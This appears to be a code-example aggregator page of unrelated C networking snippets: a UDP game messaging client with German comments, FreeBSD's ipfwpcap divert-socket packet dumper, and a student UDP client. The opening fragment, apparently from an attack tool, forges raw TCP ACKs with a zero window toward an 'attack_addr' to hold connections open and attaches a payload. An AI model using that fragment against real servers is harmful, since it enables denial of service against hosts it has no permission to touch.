    struct tcp_header *synack = (struct tcp_header*)(packet + 4*(ip->ver_ihl & 0x0F));

    unsigned char reply[sizeof(struct tcp_header) + MAX_PAYLOAD_SIZE];
    struct tcp_header *ack = (struct tcp_header*)reply;
    ack->src_port = synack->dest_port;
    ack->dest_port = synack->src_port;
    ack->ack = synack->seq; // Only add 1 if it's a synack (done below)
    ack->seq = synack->ack; 

    ack->off_res_flags = 0;
    // set data offset
    ack->off_res_flags |= htons(0x6000);
    // set ack flag
    ack->off_res_flags |= htons(0x0010);

    ack->window = 0; // zero window to make the other side wait
    ack->urg_ptr = 0;
    ack->opts_pad = 0;

    // If the received packet is a SYNACK, attach the payload
    unsigned long packet_size = sizeof(struct tcp_header);
    if(synack->off_res_flags & htons(0x0010) && synack->off_res_flags & htons(0x0002))
    {
        ack->ack = htonl(ntohl(synack->seq) + 1);
        ack->seq = synack->ack;
        memcpy(reply + sizeof(struct tcp_header), globalArgs.payload, globalArgs.payload_size);
        packet_size += globalArgs.payload_size;
    }

    calc_tcp_checksum(reply, packet_size, globalArgs.iface_addr.sin_addr, attack_addr.sin_addr);
    int ret = sendto(s_out, reply, packet_size, 0,
            (struct sockaddr*)&attack_addr, sizeof(struct sockaddr_in));
    if(ret == -1)
        perror("[!] Error sending ACK/SYNACK packet");
}
コード例 #27
0
ファイル: messnet.c プロジェクト: BackupTheBerlios/pop
void calcclient(clientchan *c)
{
 int i;
 unsigned long datalen;
 mestyp b;
 char gbuf[MAXBUF];
 int gbufpos,gbuflen;
 struct sockaddr_in taddr;
 sock_size_t addrlen;

 // Messages empfangen...
 // Hoffentlich nur Messages vom Server...
 addrlen=sizeof (struct sockaddr_in);
 while ((gbuflen=recvfrom (c->fd, gbuf, MAXBUF, 0,
           (struct sockaddr *) &taddr, &addrlen)) > 0) {
  gbufpos=0;

  while (gbufpos<gbuflen) {
  if (c->status==1) {
   // Noch Daten erwartet...
   memcpy (c->buf+c->bufpos,gbuf, (gbuflen-gbufpos)<c->rest ? (gbuflen-gbufpos) : c->rest);

   if ( (gbuflen-gbufpos) < c->rest) {
     c->bufpos+=gbuflen-gbufpos;
     gbufpos=0;
   } else {
    switch (c->aktion) {
     case MT_INTEGER:
      c_decompr_int (c,c->buf);
      break;
     case MT_STRING:
      c_decompr_str (c,c->buf);
      break;
     case MT_DATA:
      c_decompr_dat (c,c->buf);
      break;
     default:
      debug_print ("seltsamer Fehler!\n");
     }
    c->bufpos=0;
    c->aktion=0;
    c->status=0;

    gbufpos+=c->rest;
   }
  } else {

  // Aktion herausfinden
  if (c->status!=0) {
   b=c->status;
  } else {
   b=*((mestyp *) (gbuf+gbufpos));
   gbufpos+=2;
  }

  switch ( b ) {
   case MESSYNC:
    debug_print ("Synchronizing... \n");
    client_sync(c);
    break;

   case MESEXITSERVER:
    debug_print ("Server killed us! :(!\n");
#ifdef PAS_RECV
    c_sendmsg (c,32,2,0,0);
#endif
    break;

   case MESMESS:
    //Header lesen...
    if (gbuflen-gbufpos==0) {
     c->status=MESMESS; /* Auf Header warten */
    } else

    if (gbuflen-gbufpos < sizeof(messheader)) { /*Schit! Header ist nicht mehr
                                                  mit im Paket!*/
     debug_print ("Header zersplittet!\n");
     client_sync(c);
    } else {
     messheader *h=(messheader *) gbuf+gbufpos;
     if (gbuflen-gbufpos>=sizeof(messheader)+h->len) /* Message passt in einen
       						Buffer, GUT! */
      {
       switch (h->typ) {
        case MT_INTEGER:
         c_decompr_int (c,(char *) h);
         break;
        case MT_STRING:
         c_decompr_str (c,(char *) h);
         break;
        case MT_DATA:
         c_decompr_dat (c,(char *) h);
         break;
        default:
         debug_print ("fehlerhafte Message!\n");
         client_sync(c);
         break;
       }
      gbufpos+=sizeof(messheader)+h->len;
      c->status=0;
      }
     else { /* Message passt nicht, SCHLECHT! */
      c->status=1;
      c->rest=h->len- (sizeof(messheader)+gbuflen-gbufpos);
      c->bufpos=gbuflen-gbufpos;
      c->aktion=h->typ;
      memcpy (c->buf,h,gbuflen-gbufpos);

      gbufpos=gbuflen;
     }
    }
    break;

   default:
    debug_print ("Unbekannte Message!\n");
    client_sync(c);
  }
  gbufpos+=sizeof(mestyp);
  } // if status=0
  } // While gbufpos>0
 }

 // Queue senden...
 for (i=0;i<c->qpos;i++) {
  b=MESMESS;
  if (sendto (c->fd, &b, sizeof(mestyp),
 	0, (struct sockaddr *) &c->serv_addr, sizeof(struct sockaddr_in)) !=
        	sizeof(mestyp)) {
    debug_print ("Send Fehler!\n");
  }

  datalen=sizeof(messheader)+c->queue[i]->h.len;

  if ((unsigned long) (sendto (c->fd, &(c->queue[i]->h), datalen,
 	0, (struct sockaddr *) &c->serv_addr, sizeof(struct sockaddr_in))) !=
        	datalen) {
    debug_print ("Send Fehler!\n");
  }
  free (c->queue[i]);
 }
 // Queue leeren
 c->qpos=0;
}
コード例 #28
0
ファイル: messnet.c プロジェクト: BackupTheBerlios/pop
int connect_server(clientchan **sc,const char *addr,int port)
{
  unsigned int a;
  sock_size_t addrlength;
  mestyp b;
  int timeout;
  struct hostent *hpke;

  *sc = (clientchan *) malloc (sizeof (clientchan));
  if (!*sc) return -1;
  
  (*sc)->fd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);

  if ((*sc)->fd<0) {
   free((*sc));
   return -2;
  }

  a=1;
  if (ioctl ((*sc)->fd, FIONBIO, &a)) {
    close ((*sc)->fd);
    free((*sc));
    return -3;
  }

  hpke = gethostbyname ( addr );

  if ( hpke == NULL ) {
      return -4;
  }

  (*sc)->my_addr.sin_family      = AF_INET;
  (*sc)->my_addr.sin_port        = htons(0);
  (*sc)->my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  (*sc)->serv_addr.sin_family	 = AF_INET;
  (*sc)->serv_addr.sin_port	 = htons(port);
  (*sc)->serv_addr.sin_addr.s_addr = ((struct in_addr *)hpke->h_addr)->s_addr;

  addrlength = sizeof ((*sc)->my_addr);

  if (bind ((*sc)->fd, (struct sockaddr *)&((*sc)->my_addr), addrlength)) {
    close ((*sc)->fd);
    free((*sc));
    return -5;
  }

  // Set Vars
  (*sc)->qpos=0;
  (*sc)->buf=(char *) malloc(MAXBUF);
  (*sc)->bufpos=0;
  (*sc)->status=0;
  (*sc)->rest=0;
  (*sc)->aktion=0;

#ifdef PAS_RECV
  (*sc)->rcvmsg=NULL;
  (*sc)->rcvmsgs=NULL;
  (*sc)->rcvmsgd=NULL;
#endif

  // Validate Server...
  for (timeout=10;timeout>0;timeout--) {
        b=MESNEWCLIENT;
	if (sendto ( (*sc)->fd,&b ,sizeof(mestyp), 0, (struct sockaddr *) &((*sc)->serv_addr),
				sizeof(struct sockaddr_in) ) < 0) {
		close((*sc)->fd);
                free(*sc);
		return -6;
	}
  	/* Matze: Funktioniert nicht auf allen Rechnern... */
	#ifdef WITH_ALLEGRO
	rest(1000);
	#else
  	usleep(1000);
	#endif
      
	  addrlength=sizeof(struct sockaddr_in);
        if (recvfrom ( (*sc)->fd, (char *)&b, sizeof(mestyp), 0, (struct sockaddr *) &((*sc)->serv_addr),
            			&addrlength ) > 0) {
         if (b==MESACPTCLIENT) {
          debug_print ("Server response!\n");
          return 0;
         }
         if (b==MESDENYCLIENT) {
          debug_print ("Server denied acces!\n");
          close ((*sc)->fd);
          free (*sc);
          return -7;
         }
        }
  }

  close ((*sc)->fd);
  free (*sc);
  return -8;
}
コード例 #29
-1
ファイル: ipfwpcap.c プロジェクト: FreeBSDFoundation/freebsd
int
main(int ac, char *av[])
{
	int r, sd, portnum, l;
        struct sockaddr_in sin;
	int errflg = 0;

	int nfd;
	fd_set rds;

	ssize_t nr;

	char *dumpf, buf[BUFMAX];

	pcap_t *p;
	pcap_dumper_t *dp;
	struct pcap_pkthdr phd;

	prog = av[0];

	while ((r = getopt(ac, av, "drb:p:P:")) != -1) {
		switch (r) {
		case 'd':
			debug++;
			break;
		case 'r':
			reflect++;
			break;
		case 'b':
			maxbytes = (ssize_t) atol(optarg);
			break;
		case 'p':
			maxpkts = (ssize_t) atoi(optarg);
			break;
		case 'P':
			strcpy(pidfile, optarg);
			break;
		case '?':
		default:
			errflg++;
			break;
		}
	}

	if ((ac - optind) != 2 || errflg)
		usage();

	portnum = atoi(av[optind++]);
	dumpf = av[optind];

if (debug) fprintf(stderr, "bind to %d.\ndump to '%s'.\n", portnum, dumpf);

	if ((r = socket(PF_INET, SOCK_RAW, IPPROTO_DIVERT)) == -1) {
		perror("socket(DIVERT)");
		exit(2);
	}
	sd = r;

	sin.sin_port = htons(portnum);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = INADDR_ANY;

	if (bind(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
		perror("bind(divert)");
		exit(3);
	}

	p = pcap_open_dead(DLT_RAW, BUFMAX);
	dp = pcap_dump_open(p, dumpf);
	if (dp == NULL) {
		pcap_perror(p, dumpf);
		exit(4);
	}

	okay(portnum);

	nfd = sd + 1;
	for (;;) {
		FD_ZERO(&rds);
		FD_SET(sd, &rds);

		r = select(nfd, &rds, NULL, NULL, NULL);
		if (r == -1) {
			if (errno == EINTR) continue;
			perror("select");
			quit(11);
		}

		if (!FD_ISSET(sd, &rds))
			/* hmm. no work. */
			continue;

		/*
		 * use recvfrom(3 and sendto(3) as in natd(8).
		 * see /usr/src/sbin/natd/natd.c
		 * see ipfw(8) about using 'divert' and 'tee'.
		 */

		/*
		 * read packet.
		 */
		l = sizeof(sin);
		nr = recvfrom(sd, buf, sizeof(buf), 0, (struct sockaddr *)&sin, &l);
if (debug) fprintf(stderr, "recvfrom(%d) = %zd (%d)\n", sd, nr, l);
		if (nr < 0 && errno != EINTR) {
			perror("recvfrom(sd)");
			quit(12);
		}
		if (nr <= 0) continue;

		if (reflect) {
			/*
			 * write packet back so it can continue
			 * being processed by any further IPFW rules.
			 */
			l = sizeof(sin);
			r = sendto(sd, buf, nr, 0, (struct sockaddr *)&sin, l);
if (debug) fprintf(stderr, "  sendto(%d) = %d\n", sd, r);
			if (r < 0) { perror("sendto(sd)"); quit(13); }
		}

		/*
		 * check maximums, if any.
		 * but don't quit if must continue reflecting packets.
		 */
		if (maxpkts) {
			totpkts++;
			if (totpkts > maxpkts) {
				if (reflect == 1) continue;
				quit(0);
			}
		}
		if (maxbytes) {
			totbytes += nr;
			if (totbytes > maxbytes) {
				if (reflect == 1) continue;
				quit(0);
			}
		}

		/*
		 * save packet in tcpdump(1) format. see pcap(3).
		 * divert packets are fully assembled. see ipfw(8).
		 */
		(void) gettimeofday(&(phd.ts), NULL);
		phd.caplen = phd.len = nr;
		pcap_dump((u_char *)dp, &phd, buf);
		if (ferror((FILE *)dp)) { perror(dumpf); quit(14); }
		(void) fflush((FILE *)dp);
	}

	quit(0);
}
コード例 #30
-16
int client_phase2()
{
	int sockfd;
	struct addrinfo hints, *servinfo, *p;
	struct sockaddr_in my_addr, print_addr;
	socklen_t addrlen;
	struct hostent *he;
	struct in_addr **addr_list;
	int i, err, nbytes_recv;
	char buf_sendtodirserv[MAXBUFLEN];

	/*
	 * L40 to L62 are from the given tutorial http://beej.us/guide/bgnet/.
	 */
	/* create socket */
	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_DGRAM;

	if ((err = getaddrinfo(HOSTNAME, UDP2_DS, &hints, &servinfo)) != 0) {
		fprintf(stderr, "getaddrinfo: %s", gai_strerror(err));
		return 1;
	}

	/* loop through all the results and make a socket */
	for(p = servinfo; p != NULL; p = p->ai_next) {
		if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
			perror("client: socket");
			continue;
		}
		break;
	}
	if (p == NULL) {
		fprintf(stderr, "client: failed to bind socket");
		return 2;
	}

	/* configure port number using bind() */
	my_addr.sin_family = AF_UNSPEC;
	my_addr.sin_port = htons(UDP2_C);
	my_addr.sin_addr.s_addr = inet_addr(HOSTNAME);
	memset(my_addr.sin_zero, '\0', sizeof my_addr.sin_zero);

	if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof my_addr) < 0)
		perror("bind");

	/* get host ip address and port number and print out startup information*/
	if ((he = gethostbyname(HOSTNAME)) == NULL) {
		perror("gethostbyname");
		return 3;
	}

	addrlen = sizeof print_addr;
	if (getsockname(sockfd, (struct sockaddr *)&print_addr, &addrlen) < 0) {
		perror("getsockname");
		return 4;
	}

	printf("Phase 2: Client 2 has UDP port number %d and IP address ", (int)ntohs(print_addr.sin_port));
	addr_list = (struct in_addr **)he->h_addr_list;
	for (i = 0; addr_list[i] != NULL; i++)
		printf("%s ", inet_ntoa(*addr_list[i]));
	printf(".\n");

	freeaddrinfo(servinfo); // all done with this structure

	/* sent message "Client# doc#" to directory server */
	strcpy(buf_sendtodirserv, INFO);
	if (sendto(sockfd, buf_sendtodirserv, strlen(buf_sendtodirserv), 0, p->ai_addr, p->ai_addrlen) < 0) {
		perror("client: sendto");
		exit(1);
	}
	printf("Phase 2: The File request from Client 2 has been sent to the Directory Server.\n");

	close(sockfd);

	/*
	 * L106 to L132 are from the given tutorial http://beej.us/guide/bgnet/.
	 */
	/* create socket */
	memset(&hints, 0, sizeof hints);
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_DGRAM;

	if ((err = getaddrinfo(HOSTNAME, UDP2_CL, &hints, &servinfo)) != 0) {
		fprintf(stderr, "getaddrinfo: %s", gai_strerror(err));
		return 1;
	}

	/* loop through all the results and make a socket */
	for(p = servinfo; p != NULL; p = p->ai_next) {
		if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
			perror("client: socket");
			continue;
		}
		if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
			close(sockfd);
			perror("client: bind");
			continue;
		}
		break;
	}
	if (p == NULL) {
		fprintf(stderr, "client: failed to bind socket");
		return 2;
	}
	freeaddrinfo(servinfo);

	/* receive message of file server from directory server */
	if ((nbytes_recv = recvfrom(sockfd, buf_recvfrmdirserv, MAXBUFLEN - 1 , 0, p->ai_addr, &p->ai_addrlen)) == -1) {
		perror("recvfrom");
		exit(1);
	}
	buf_recvfrmdirserv[nbytes_recv] = '\0';
	printf("Phase 2: The File requested by Client 2 is present in <");
	for (i = 0; i < 12; i++)
		printf("%c", buf_recvfrmdirserv[i]);
	printf("> and the File Server's TCP port number is <");
	for (i = 13; i < 18; i++) 
		printf("%c", buf_recvfrmdirserv[i]);
	printf(">.\n");

	close(sockfd);
	printf("Phase 2: End of Phase 2 for Client 2.\n");

	return 0;
}